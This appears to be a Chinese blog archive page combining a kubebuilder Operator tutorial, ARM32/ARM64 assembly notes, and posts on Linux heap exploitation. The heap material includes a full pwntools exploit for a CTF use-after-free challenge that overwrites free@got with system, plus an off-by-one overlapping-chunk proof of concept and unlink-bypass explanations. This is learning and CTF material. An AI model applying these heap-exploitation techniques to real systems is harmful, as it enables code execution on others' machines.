0%

1. 准备工作

1.1 安装kubebuilder

https://github.com/kubernetes-sigs/kubebuilder

1
2
3
4
5
6
7
8
9
os=$(go env GOOS)
arch=$(go env GOARCH)

# download kubebuilder and extract it to tmp
curl -sL https://go.kubebuilder.io/dl/2.0.0-beta.0/${os}/${arch} | tar -xz -C /tmp/
# move to a long-term location and put it on your path
# (you'll need to set the KUBEBUILDER_ASSETS env var if you put it somewhere else)
mv /tmp/kubebuilder_2.0.0-beta.0_${os}_${arch} /usr/local/kubebuilder
export PATH=$PATH:/usr/local/kubebuilder/bin

1.2 安装kustomize

https://github.com/kubernetes-sigs/kustomize/blob/master/docs/INSTALL.md#installation

2. 名词解释

CRD: 自定义资源定义,Kubernetes中的资源类型。
CR: Custom Resource,对使用 CRD 创建出来的自定义资源的统称

3. 创建Operator项目

首先将使用自动配置创建一个项目,该项目在创建 CR 时不会触发任何资源生成。

3.1 初始化和创建API

创建的项目路径位于 $GOPATH/src/workspace/operator

在项目路径下使用下面的命令初始化项目。

1
$ kubebuilder init --domain app.com

在项目根目录下执行下面的命令创建 API。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ kubebuilder create api --group webapp --version v1 --kind Guestbook
Create Resource [y/n]
y
Create Controller [y/n]
y
Writing scaffold for you to edit...
api/v1/guestbook_types.go
controllers/guestbook_controller.go
Running make:
$ make
go: creating new go.mod: module tmp
go: found sigs.k8s.io/controller-tools/cmd/controller-gen in sigs.k8s.io/controller-tools v0.2.5
/Users/dongzezhao/go/bin/controller-gen object:headerFile="hack/boilerplate.go.txt" paths="./..."
go fmt ./...
go vet ./...
go build -o bin/manager main.go

API 创建完成后,在项目根目录下查看目录结构。

3.2 安装CRD

执行下面的命令安装 CRD

1
2
3
4
5
6
$ make install
go: creating new go.mod: module tmp
go: found sigs.k8s.io/controller-tools/cmd/controller-gen in sigs.k8s.io/controller-tools v0.2.5
/Users/dongzezhao/go/bin/controller-gen "crd:trivialVersions=true" rbac:roleName=manager-role webhook paths="./..." output:crd:artifacts:config=config/crd/bases
kustomize build config/crd > crd.yaml
$ kubectl create -f crd.yaml

3.3 部署 controller

在开始部署 controller 之前,需要先检查 kubebuilder 自动生成的 YAML 文件。

有两种方式运行 controller:

  • 本地运行,用于调试
  • 部署到 Kubernetes 上运行,作为生产使用
3.3.1 本地运行 controller

在本地运行 controller,只需要执行下面的命令。

1
$ make run

将看到 controller 启动和运行时输出。

3.3.2 部署到 Kubernetes 集群上

执行下面的命令部署 controller 到 Kubernetes 上,这一步将会在本地构建 controller 的镜像,并推送到 DockerHub 上,然后在 Kubernetes 上部署 Deployment 资源。

1
2
make docker-build docker-push IMG=jimmysong/kubebuilder-example:latest
make deploy IMG=jimmysong/kubebuilder-example:latest

在初始化项目时,kubebuilder 会自动根据项目名称创建一个 Namespace,如本文中的 kubebuilder-example-system,查看 Deployment 对象和 Pod 资源。

3.4 创建 CR

Kubebuilder 在初始化项目的时候已生成了示例 CR,执行下面的命令部署 CR。

1
kubectl apply -f config/samples/webapp_v1_guestbook.yaml

执行下面的命令查看新创建的 CR。

1
$ kubectl get guestbooks.webapp.app.com guestbook-sample -o yaml

你将看到类似如下的输出:

1
2
3
4
5
6
7
8
9
10
11
12
apiVersion: webapp.app.com/v1
kind: Guestbook
metadata:
creationTimestamp: "2021-03-14T04:50:35Z"
generation: 1
name: guestbook-sample
namespace: default
resourceVersion: "5900377"
selfLink: /apis/webapp.app.com/v1/namespaces/default/guestbooks/guestbook-sample
uid: 26161131-866f-4db3-9fc2-2fa896fb6124
spec:
foo: bar

至此一个基本的 Operator 框架已经创建完成,但这个 Operator 只是修改了 etcd 中的数据而已,实际上什么事情也没做,因为我们没有在 Operator 中的增加业务逻辑。

0x00. 前言

前面已经介绍过ARM32汇编语言,但是从ARMv8-A开始出现了64位的ARM指令集,因此有必要学习一下64位的ARM指令集。虽然ARM官方将64位的ARM指令集叫做Aarch64,但为了和前面ARM32对比,暂且叫64位的ARM指令集为ARM64。ARM32和ARM64属于两套不同的指令集,在此仅介绍ARM64指令集中的一些改变。

0x01. ARM64汇编中寄存器

ARM64微处理器中,程序员可以使用31个64位的通用寄存器x0x30,堆栈指针寄存器sp,指令指针寄存器pc。也可以只使用这些通用寄存器中的低32位,即w0w30,wsp。ARM遵循ATPCS规则,ARM64汇编语言函数前8个参数使用x0-x7寄存器(或w0-w7寄存器)传递,多于8个的参数均通过堆栈传递,并且返回值通过x0寄存器(或w0寄存器)返回。在使用软中断进行系统调时,系统调用号通过x8寄存器传递,用svc指令产生软中断,实现从用户模式到管理模式的切换。例如:

1
2
3
mov x0, 123 // exit code
mov x8, 93 // sys_exit() is at index 93 in kernel functions table
svc #0 // generate kernel call sys_exit(123);

0x02. AMR64汇编语言

ARM64汇编指令集所有指令的长度固定,每条指令是4字节(32位宽度),并且没有Thumb指令集。

  1. 访存指令
    ARM32中的LDM、STM、PUSH、POP指令,在ARM64中并不存在。取而代之的是LDP、STP指令,如一般在函数开头用来代替PUSH.
    例如,用IDA Pro逆向的某个ARM64 SO库函数的开头和结尾:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    STP      X24, X23, [SP,#var_40]!
    STP X22, X21, [SP,#0x40+var_30]
    STP X20, X19, [SP,#0x40+var_20]
    STP X29, X30, [SP,#0x40+var_10]
    ADD X29, SP, #0x40+var_10
    ....
    SUB SP, X29, #0x30
    LDP X29, X30, [SP,#0x150+var_120]
    LDP X20, X19, [SP,#0x150+var_130]
    LDP X22, X21, [SP,#0x150+var_140]
    LDP X24, X23, [SP+0x150+var_150],#0x40
    RET
  2. 跳转指令
    跳转和链接指令,将PC保存到链接寄存器(BL和BLR)。

  3. ARM64指令
    ARM32指令集在涉及程序计数器(PC)计算时,由于多流水线的原因,需要加上4或者8的偏移。而ARM64指令集在涉及程序计数器(PC)计算时,不需要加上偏移。能够修改PC的唯一的方式,使用隐式的控制流指令(条件跳转,无条件跳转,异常生成,异常返回)。

PS: 由于时间关系,没有深入学习ARM64汇编指令集。以后有时间,继续补充本文,2017.03.24。

0x03. 参考文献

1. Wiki ARM Architecture
2. Aarch64 Register and Instruction Quick Start
3. ARMarch64汇编学习笔记
4. ARM The Architecture for the Digital World

0x00. 前言

最近在学习移动安全,为进行Android系统漏洞挖掘,需要学习ARM汇编语言。现在记录下自己学习ARM32汇编语言的要点与心得,以供参考。

0x01. ARM32汇编中寄存器

ARM32微处理器共有37个32位寄存器,其中31个为通用寄存器,6个为状态寄存器。ARM微处理器支持7种运行模式,分别是:用户模式(usr)、快速中断模式(fiq)、外部中断模式(irq)、管理模式(svc)、数据访问终止模式(abt)、系统模式(sys)、未定义指令中止模式(und)。由于ARM微处理器正常的程序执行状态为用户模式,因此先了解一下用户模式下ARM32。
在用户模式下,ARM32微处理器可以访问的寄存器有:不分组的寄存器R0-R7、分组寄存器R8-R14、程序计数器R15(PC)以及当前程序状态寄存器CPSR。ARM遵循ATPCS规则,ARM32汇编语言函数前4个参数使用R0-R3寄存器传递,多于4个的参数均通过堆栈传递,并且返回值通过R0寄存器返回。在使用软中断进行系统调时,系统调用号通过R7寄存器传递,用SWI指令产生软中断,实现从用户模式到管理模式的切换。例如,调用exit(0)的汇编代码如下:

1
2
3
MOV R0, #0  @参数0
MOv R7, #1 @系统功能号1为 exit
SWI #0 @执行 exit(0)

ARM32微处理器有两种工作状态:ARM32状态与Thumb状态。处理器可以在两种状态之间随意切换,当处理器处于ARM状态时,会执行32位对齐的ARM指令;当处于Thumb状态时,会执行16位对齐的Thumb指令。Thumb状态下对寄存器的命名与ARM32有部分差异,它们的关系如下表所示。

Thumb状态下寄存器 ARM32状态下寄存器 用途
R0-R7 R0-R7 通用寄存器
CPSR CPSR 程序状态寄存器
SL R10 栈限制寄存器
FP R11 桢指针寄存器
IP R12 内部过程调用寄存器
SP R13 栈顶指针寄存器
LR R14 子程序链接寄存器
PC R15 程序计数器

0x02. ARM32处理器寻址方式

ARM微处理器采用的是精简指令集,指令间的组合灵活。ARM微处理器支持九种寻址方式,分别是:立即寻址、寄存器寻址、寄存器移位寻址、寄存器间接寻址、基址寻址、多寄存器寻址、堆栈寻址、块拷贝寻址、相对寻址。先介绍其中几种寻址方式。

  1. 寄存器移位寻址
    寄存器移位寻址是ARM指令集特有的寻址方式,寄存器移位寻址方式:在操作前对源寄存器操作数进行移位操作。支持以下5种移位操作:
    LSL: 逻辑左移,移位后寄存器空出的低位补0。
    LSR: 逻辑右移,移位后寄存器空出的高位补0。
    ASR: 算术右移,移位过程中符号位保持不变,如果源操作数为正数,则移位后寄存器空出的高位补0;否则补1。
    ROR: 循环右移,移位后移出的低位填入移位空出的高位。
    RRX: 带扩展的循环右移,操作数右移一位,移位后寄存器空出的高位用C标志的值填充。
    例如:

    1
    MOV R0, R1, LSL #2   @R0=R1*4
  2. 基址寻址
    基址寻址是将基址寄存器与偏移量相加,形成操作数的有效地址,所需的操作数保存在有效地址所指向的存储单元中。基址寻址多用于查表、数据访问等操作。例如:

    1
    LDR R0, [R1, #-4]   @R0=[R1-4]
  3. 多寄存器寻址
    多寄存器寻址一条指令最多可以完成16个通用寄存器值的传送。比如LDMIA和LDMIB指令,LDM是数据加载指令,指令的后缀IA表示每次执行完加载操作后寄存器的值自增1个字;指令的后缀IB表示每次执行加载操作前寄存器的值自增1个字;还有两条指令后缀DA和DB,分别表示在指令操作后和操作前寄存器的值自减1个字。ARM32指令集中,字表示一个32位的数字,注意:该条指令的源寄存器与目的寄存器位置。例如:

    1
    LDMIA R0, {R1, R2, R3, R4}   @R1=[R0], R2=[R0+4], R3=[R0+8], R4=[R0+12]
  4. 堆栈寻址
    堆栈寻址是ARM指令集特有的一种寻址方式,堆栈寻址需要使用特定的指令来完成。堆栈寻址的指令有LDMFA/STMFA、LDMEA/STMEA、LDMFD/STMFD、LDMED/STMED。LDM和STM为指令前缀,表示多寄存器寻址。FA(Full Ascending stack)、FD(Full Descending stack)、EA、ED为指令后缀,其中:FA表示满递增堆栈,堆栈向高地址生长,堆栈指针指向下一个要放入的空地址;FD表示满递减堆栈,堆栈向低地址生长,堆栈指针指向最后一个入栈的有效数据数据项; EA表示空递增堆栈,堆栈向高地址生长;ED空递减堆栈,堆栈向低地址生长。例如:

    1
    2
    STMFD  SP!, {R1-R7, LR}   @将R1-R7, LR入栈,多用于保护子程序现场
    LDMFD SP!, {R1-R7, LR} @将数据出栈,放入R1-R7, LR寄存器。多用于恢复子程序现场
  5. 块拷贝寻址
    块拷贝寻址可实现连续地址数据从存储器的某一位置拷贝到另一位置。块拷贝寻址的指令有LDMIA/STMIA、LDMDA/STMDA、LDMIB/STMIB、LDMDB/STMDB。指令前缀和指令后缀前面已经介绍了。例如:

    1
    2
    STMIA  R0!, {R1-R3}   @从R0寄存器指向的存储单元中读取3个字到R1-R3寄存器
    LDMIA R0!, {R1-R3} @存储R1-R3寄存器的内容到R0寄存器指向的存储单元
  6. 相对寻址
    相对寻址以程序计数器PC的当前值为基地址,指令中的地址标作为偏移量,将两者相加之后得到操作数的有效地址。例如:

    1
    2
    3
    4
    BL NEXT
    ....
    NEXT
    ....

0x03. ARM32指令集与Thumb指令集

前面讲过ARM32微处理器有ARM32与Thumb两种工作状态,因此,有ARM32与Thumbe指令集。一般地,ARM32指令集每条指令占4个字节码,Thumb指令集每条指令占2个字节码,两者不能混用。但是可以通过BX、BLX等指令在跳转的时候实现切换。同时,在使用IDA进行逆向时,IDA对此识别也有问题,可能会把Thumb的代码识别为ARM,或者反过来。一旦调试起来,运行到相应位置,便会报出异常,导致程序退出,我们可以使用Alt+G可以修改相应的识别。

  1. 跳转指令
    ARM中有两种方式可以实现程序挑战:一种是使用挑战指令直接跳转;另一种是给PC寄存器直接赋值实现挑战。跳转指令有4种:B跳转指令、BL带链接的跳转指令、LX带状态切换的跳转指令、BLX带链接和状态切换的跳转指令。

现在介绍下ARM32指令集与Thumb指令集切换方法,在BX和BLX指令跳转时,判断目标地址最低位是否为1。
如果为1,跳转时将CPSR寄存器标志T置位,并将目标地址处的代码解释位Thumb代码,处理器切换到Thumb状态;
如果为0,跳转时将CPSR寄存器标志T复位,并将目标地址处的代码解释位ARM32代码,处理器切换到ARM32状态。

  1. ARM32与Thumb跳转偏移计算
    ARM32: 低27位是偏移位置,下跳: 偏移=(目标地址 - 当前PC地址)/指令长度; 正数下跳,负数上跳。
    Thumb: 目标地址 = 偏移 * 指令长度 + 当前PC地址

  2. ARM指令执行(多流水线)
    ARM指令执行分为3步:取地址 ->分析 ->运行。在涉及程序计数器相加时需要注意。例如:

    1
    2
    3
    4
    5
    6
    7
    8
    @ 1  取地址 ->分析  ->运行
    @ 2 取地址 ->分析 ->运行
    @ 3 取地址 ->分析 ->运行
    @ 因此,执行一条涉及PC的指令时,PC一般指向下两条指令的地址;
    @ 例如: Thumb指令集, PC = PC + 2*2; ARM32指令集,PC = PC + 4*2
    @ R2=0x30c2, PC = PC + 2*2, R2 = 0x756A8F12 + 4 + 0x30c2 = 0x756ABFD8
    0x756A8F12 ADD R2, PC

0x04. 参考文献

1. Wiki ARM Architecture
2. Android软件安全与逆向分析
3. ARM汇编之寄存器

0x00. 前言

前天遇到一题含有Use after free的PWN,题目开启了NX、PIE等防护。我花了一天时间磕磕碰碰,最终弄出来了,现记录下过程。

0x01. 漏洞利用思路

漏洞位置: 该题存在两个漏洞,一个是Use after free导致的地址泄漏;一个是栈溢出导致的任意地址写。漏洞如下图:
我的图片

利用思路: 首先,利用Use after free泄漏libc以及堆块基址。由于题目将代码段的item_free函数地址存储在堆上,因此,利用栈溢出任意地址写结合Use after free可以泄漏代码段的地址。最后利用system地址覆盖free函数的got,然后free堆块就可以了。

0x02. 漏洞利用代码

漏洞利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python

from pwn import *

DEBUG = 0
if DEBUG:
context.log_level = 'debug'
p = process('./itemboard')
else:
p = remote("pwn2.jarvisoj.com", 9887)

def new_item(name, length, des):
p.recvuntil('choose:')
p.sendline('1')
p.recvuntil('Item name?')
p.sendline(name)
p.recvuntil('len?')
p.sendline(str(length))
p.recvuntil('Description?')
p.sendline(des)

def list_item():
p.recvuntil('choose:')
p.sendline('2')
print p.recvuntil('1.')

def show_item(num, ans='Description:'):
p.recvuntil('choose:')
p.sendline('3')
p.recvuntil('Which item?')
p.sendline(str(num))
p.recvuntil(ans)


def delete_item(num):
p.recvuntil('choose:')
p.sendline('4')
p.recvuntil('Which item?')
p.sendline(str(num))

def exp():

# 1. Leaking libc address and heap address!
new_item('0'*8, 256, '0'*16)
new_item('1'*8, 32, '1'*16)
delete_item(0)
show_item(0)
addr = p.recvuntil('\n')
main_arena = u64(addr[0:-1].ljust(8, '\x00'))
delete_item(1)
show_item(1)
addr = p.recvuntil('\n')
heap_addr = u64(addr[0:-1].ljust(8, '\x00'))

if DEBUG:
libc = main_arena - 0x3c3b10 - 0x68
system_addr = libc + 0x45390
else:
libc = main_arena - 0x3be740 - 0x78
system_addr = libc + 0x46590

log.success("libc address: " + hex(libc))
log.success("system address: " + hex(system_addr))
log.success("heap address: " + hex(heap_addr))

# 2. Getting .text address
payload = p64(heap_addr)
payload = payload.ljust(1032, 'a')
payload += p64(heap_addr + 0x38)
new_item(p64(heap_addr - 0x10), 1048, payload)
show_item(1, 'Name:')
addr = p.recvuntil('\n')
item_free = u64(addr[0:-1].ljust(8, '\x00'))
text = item_free - 0xb39
free_got = text + 0x202018
log.success("text address: " + hex(text))

# 3. Overwriting free_got
payload = p64(system_addr)
payload = payload.ljust(1032, 'a')
payload += p64(heap_addr - 0x148)
new_item("/bin/sh\x00", 32, p64(free_got))
new_item('4'*16, 1048, payload)
delete_item(3)

p.interactive()

if __name__ == '__main__':
exp()

0x03. 体会

由于接触堆漏洞时间短,没有大量训练,解决这道题时遇到各种坑,记录下体会。首先,一开始发现了栈溢出,但是没想到如何利用,就忘记了,忘记了。然后发现Use after free可以泄漏地址,但只泄漏了fast bin中堆基址,而没想到泄漏unsorted bin中libc地址。与此同时,发现可以Double free,就一直在想如何构造伪块,利用Large bin attack覆盖tls_dtors_list地址,但是strcpy复制输入数据到堆上时会截断NULL字节并且Large bin attack在当前版本的glibc(2.23)已经失效。尝试了几次,发现这条路走不通。我就重新认真思考,突然发现既然能泄漏堆块基址,就可以泄漏libc基址。当泄漏了libc基址和堆块地址,就在想如何覆盖free@got.plt,但是Large bin attack在当前版本glibc已经失效。然后在午睡的时候,突然灵光一闪,发现栈溢出这块还没有利用,认真分析了一下栈溢出可以覆盖的内容,发现可以通过覆盖栈上item地址,造成任意地址写。已经快接近成功了,但是由于程序开启的PIE导致代码段地址随机,无法获取free@got.plt地址。就在想如何泄漏text段地址,通过调试观察堆上内容,发现text段的item_free函数的地址存储在堆上。于是,通过任意地址写结合Use after free泄漏text段地址,从而获取free@got.plt地址,最终成功。
PS:我在Ubuntu14.04(glibc 2.19)上通过Overwriting tls_dtors_list可以利用成功,但是在打远程时由于tls_dtors_list地址偏移不一致,导致失败。

0x00. 前言

不同于栈上的off-by-one漏洞,堆上的off-by-one漏洞利用更加复杂灵活。本文参考了一下别人的文章,介绍下Linux堆漏洞off-by-one利用技术,如有错误,欢迎斧正。

0x01. off-by-one原理

off-by-one漏洞即一个字节溢出,这种漏洞一般情况下很难利用,但是在堆上却有很多利用方式。了解Linux glibc堆分配器ptmalloc2的知道,我们可以通过off-by-one覆盖堆块头的size字段,从而改变该堆块的大小或inuse位,利用堆块覆盖或unlink达到想要的目的。
由于glibc堆分配器的字节对齐机制,并不是所有的off-by-one漏洞都可以利用。 例如:32位系统,按照8字节进行对齐,如果malloc(512),那么实际会分配512+4*2=520字节,其中8字节为prev_size和size字段大小,off-by-one只会覆盖prev_size字段最低字节造成无法利用;如果malloc(508),由于508+8=516字节,516字节不满足8字节对齐,并且考虑到下一块的prev_size字段(4字节)在前一块已分配时,可以填充前一块数据,实际上只会分配508+4=512字节,off-by-one会覆盖size字段最低字节可以利用。同理,64位系统,按照16字节进行对齐,如果malloc(512),那么实际会分配512+8*2=528字节;如果malloc(504),那么实际会分配504+8=512字节。

0x02. off-by-one利用技巧

如果堆上的off-by-one可以利用,那么有两类利用方式:一类是覆盖size字段inuse位,在free时触发unlink机制;另一类是覆盖size字段最低字节,从而改变堆块大小,使该堆块包含后一块,free掉该堆块之后,再malloc(稍大于该堆块加后一块的大小),就可以对后一块进行读写。

  1. 利用unlink机制
    这一类利用方式分两种情况:一种是Small bin unlink,另一种是Large bin unlink。

    Small bin unlink: 利用方式已经在Linux堆漏洞之Double-free中介绍过,虽然是不同的漏洞,但是主要利用原理还是类似的,就不介绍了。

    Large bin unlink: 利用方式在glibc 2.20版之后已经失效,但还是有必要介绍一下其中一些思路。该攻击最早出现在2014年Google Project Zero项目的一篇文章中The poisoned NUL byte, 2014 edition。在Linux堆漏洞之Double-free中已经讲过unlink宏,其中只讲到unlink Small bin时进行的操作,只需绕过第一层双向循环链表检查就可以利用unlink。如果unlink Large bin,由于Large bin块含有字段fd_nextsize和bk_nextsize,在绕过第一层双向循环链表检查还会进行第二次双向循环链表检查。但是在glibc早期版本(2.19之前),第二次双向循环链表检查只通过断言(assert)形式,属于调试信息,不能真正的对漏洞进行有效的防护。从而可以利用Large bin unlink导致一次任意地址写,然后利用overwriting tls_dtor_list实现漏洞利用。在程序main()函数结束调用exit()函数时,会遍历tls_dtor_list调用一些处理收尾工作的函数,如果通过overwriting tls_dtor_list使其指向伪造的tls_dtor_list,就可以调用自己的函数(如system(‘/bin/sh’))。在当前版本的glibc(2.23)中,unlink宏在unlink Large bin 时会进行双向链表检查,而且在__call_dtors_list中获取tls_dtor_list时也做了一些限制,导致很难利用Large bin unlink。 Overwriting tls_dtor_list是一个很好的利用点,但是目前我还没有找到如何利用。

  2. 利用堆块覆盖
    这一类攻击主要是获取对目标堆块的读写,利用方式分两种情况:一种是覆盖最低字节为任意数(off-by-one overwrite freed or allocated),另一种是覆盖最低字节为NULL(off-by-one NULL byte)。

    off-by-one overwrite freed or allocated : 如图1所示,堆块A、B、C,其中堆块A已分配且含有off-by-one漏洞,堆块B已释放,堆块C为目标堆块,需要对堆块C可读写。可以通过堆块A的off-by-one漏洞覆盖堆块B size字段的最低字节(不改变inuse位),使堆块B的长度可以包含堆块C。然后在malloc(B+C),就可以获取堆块B的原来指针,从而可以对目标堆块进行读写。
    如果堆块A、B、C都是已分配,可以释放掉堆块B,将问题转化为前面一种情况,同样可以解决。

    1
    2
    3
    4
    5
    6
          _____________________                          ______|_____B_______|______
    | | | | | | | | | |
    | A | B | C | | A | B1 | B2 | | C |
    |______|______|_______| |______|____|____|___|_____|
    1 overwrite freed or allocated 图2 overwrite null byte

    off-by-one overwrite NULL byte : 这类漏洞在实际中很常见,如使用strcpy()进行复制时未考虑字符串长度。如图2所示,堆块A、B、C,其中堆块A已分配且含有off-by-one漏洞,堆块B、C已分配,堆块B2为目标堆块,需要对堆块B2可读写。利用方法:先释放掉堆块B,然后通过堆块A的off-by-one漏洞覆盖堆块B size字段的最低字节为NULL,减小堆块B的size字段值 (如果堆块B size字段未改变,再次分配时,堆块C的prev_size字段会改变,造成漏洞无法利用) ;再申请两个较小的堆块B1和B2(B1+B2<B),这时堆块C的prev_size大小仍然是堆块B的大小,释放掉堆块B1和堆块C时就会导致堆块B和堆块C进行合并,然后再malloc(B+C)大小的堆块就可以得到原来堆块B的地址,从而可以对堆块B2进行读写。

0x03. off-by-one漏洞实例

下面分享一下off-by-one NULL byte 漏洞代码,今后遇到这类漏洞,再补充一个实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>
#include <malloc.h>

int main(int argc, char* argv[])
{
void *A,*B,*C;
void *B1,*B2;
void *Overlapping;
A = malloc(0x100-8);
B = malloc(0x200);
C = malloc(0x100);
printf("chunk B address: %x, C address: %x\n", B, C);

free(B);
((char *)A)[0x100 - 8] = '\x00'; // off-by-one NULL byte

B1=malloc(0x100);
B2=malloc(0x80);
printf("chunk B1 address: %x, B2 address: %x\n", B1, B2);
free(B1);
free(C);
Overlapping = malloc(0x300);
printf("new malloced chunk: %x\n", Overlapping);
return 0;
}

0x04. 参考文献

1. 从一字节溢出到任意代码执行-Linux下堆漏洞利用
2. Off-By-One Vulnerability (Heap Based)

0x00. 前言

很久之前学习了Linux堆漏洞Double free,一直没时间写下学习体会。今天有时间记录下,如有错误,欢迎斧正。本文主要介绍Linux下堆漏洞Double free的利用原理与实践。所谓的Double free是指:同一个指针指向的内存被free两次。

0x01. Glibc背景知识

Linux下堆分配器主要由两个结构管理堆内存,一种是堆块头部形成的隐式链表,另一种是管理空闲堆块的显式链表(Glibc中的bins数据结构)。关于bins的介绍已经有很多,就不赘述了。接下来介绍一下Linux下Double free漏洞原理以及free函数的堆块合并过程。

Double free漏洞原理: free函数在释放堆块时,会通过隐式链表判断相邻前、后堆块是否为空闲堆块;如果堆块为空闲就会进行合并,然后利用Unlink机制将该空闲堆块从Unsorted bin中取下。如果用户精心构造的假堆块被Unlink,很容易导致一次固定地址写,然后转换为任意地址读写,从而控制程序的执行。

Linux free函数原理
由堆块头部形成的隐式链表可知,一个需释放堆块相邻的堆块有两个:前一个块(由当前块头指针加pre_size确定),后一个块(由当前块头指针加size确定)。从而,在合并堆块时会存在两种情况:向后合并向前合并。当前一个块和当前块合并时,叫做向后合并。当后一个块和当前块合并时,叫做向前合并。
相关代码
malloc.c int_free函数中相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char \*) (p)) + (s)))
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char \*) (p)) + (s)))->size & PREV_INUSE)

_int_free (mstate av, mchunkptr p, int have_lock)
{
...
/* consolidate backward \*/ // "向后合并"
if (!prev_inuse(p)) { //如果前一个块为空闲,则进行合并
prevsize = p->prev_size; //获得前一个块大小
size += prevsize; //合并后堆块大小
p = chunk_at_offset(p, -((long) prevsize)); //根据当前块指针和前一个块大小,确定前一个块位置,即合并后块位置
unlink(av, p, bck, fwd); //利用unlink从显式链表Unsorted bin取下前一个块
}

nextchunk = chunk_at_offset(p, size); //根据当前块指针和当前块大小, 确定后一个块位置,
nextsize = chunksize(nextchunk); //获得后一个块大小
nextinuse = inuse_bit_at_offset(nextchunk, nextsize); //根据下一个块的下一个块的PREV_INUSE位,判断下一个块是否空闲
/* consolidate forward \*/ // "向前合并"
if (!nextinuse) { //如果后一个块为空闲,则进行合并
unlink(av, nextchunk, bck, fwd); //使用unlink将后一个块从unsorted bin中取下
size += nextsize; //扩大当前块大小即可完成向前合并
} else
clear_inuse_bit_at_offset(nextchunk, 0);
...
}

unlink 宏中主要的操作如下:
注意:此处的fd、bk指的是显式链表bins中的前一个块和后一个块,与合并块时的隐式链表中的前一个块和后一个块不同
#define unlink(AV, P, BK, FD) {
FD = P->fd; //获取显式链表中前一个块 FD
BK = P->bk; //获取显示链表中后一个块 BK
FD->bk = BK; //设置FD的后一个块
BK->fd = FD; //设置BK的前一个块
}

//由于unlink的危险性,添加了一些检测机制,完整版unlink宏如下
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&&__builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

0x02. Double free漏洞利用原理

以64位应用为例:如果在free一个指针指向的块时,由于堆溢出,将后一个块的块头改成如下格式:
fake_prevsize1 = 被释放块大小;
fake_size1 = 0x20 | 1 (fake_size1 = 0x20)
fake_fd = free@got.plt - 0x18
fake_bk = shellcode address
fake_prevsize2 = 0x20
fake_size2 = 0x10
如下图:
如果chunk0被释放(fake_size1 = 0x21),进行空闲块合并时,1)由于前一个块非空闲,不会向后合并。2)根据chunk2判断后一个块chunk1空闲,向前合并,导致unlink。
如果chunk1被释放(fake_size1 = 0x20),进行空闲块合并时,1)由于前一个块空闲,向后合并,导致unlink。2)根据chunk2判断后一个块chunk1空闲,向前合并,导致unlink。
根据unlink宏知道, 前一个块 FD 指向 free@got.plt - 0x18, 后一个块 BK 指向 shellcode address。然后前一个块 FD 的bk指针即free@got.plt,值为shellcode address, 后一个块 BK 的 fd 指针即shellcode + 0x10,值为 free@got.plt。从而实现了一次固定地址写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
High    |----------------|
| fake_size2 |
|----------------|
| fake_prevsize2 |
|----------------| chunk2 pointer
| fake_bk |
|----------------|
| fake_fd |
|----------------| chunk1 malloc returned pointer
| fake_size1 |
|----------------|
| fake_prevsize1 |
|----------------| chunk1 pointer
| ...... |
| padding |
| ...... |
|----------------|
| fake_bk |
|----------------|
| fake_fd |
|----------------| chunk0 malloc returned pointer
| size |
|----------------|
| prev_size |
Low |----------------| chunk0 pointer

但是,由于当前glibc的加固检测机制,会检查显式链表中前一个块的fd与后一个块的bk是否都指向当前需要unlink的块。这样攻击者就无法替换chunk1(或chunk0)的fd与bk。相关代码如下:

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
malloc_printerr (check_action, "corrupted double-linked list", P, AV)

针对这种情况,需要在内存中找到一个指向需要unlink块的指针,就可以绕过。

0x03. Double free漏洞利用实例

下面以64位的freenote为例,介绍下Double free漏洞的利用。
该freenote存在两个漏洞:一个是在建立新note的时候在note的结尾处没有加”\x00”,因此会造成堆栈地址泄露;另一个漏洞就是在delete note时,没有检测这个note是否已经被删除过了,可以删除一个note两遍,造成double free。
利用思路:
(1) 泄漏libc.so地址,通过新建两个note,然后删除一个note,再新建一个note,泄漏glibc中main_arena.top的地址,然后根据偏移计算其他地址。
(2) 泄漏heap地址,让某个非使用中chunk的fd栏位指向另一个 chunk,并且让note的内容拼接上,就可以把chunk在堆上的位置给泄漏出来。
(3) 触发unlink机制,并布置参数,导致一次固定地址写。由于申请的堆长度和地址放在bss段,因此可以将fake_fd地址指向 bss第一个堆基址 - 0x18,fake_bk地址指向 bss第一个堆基址 - 0x10,就可以绕过unlink检测机制。
(4) 对任意地址读写,覆盖free@got.plt为system地址。
漏洞利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
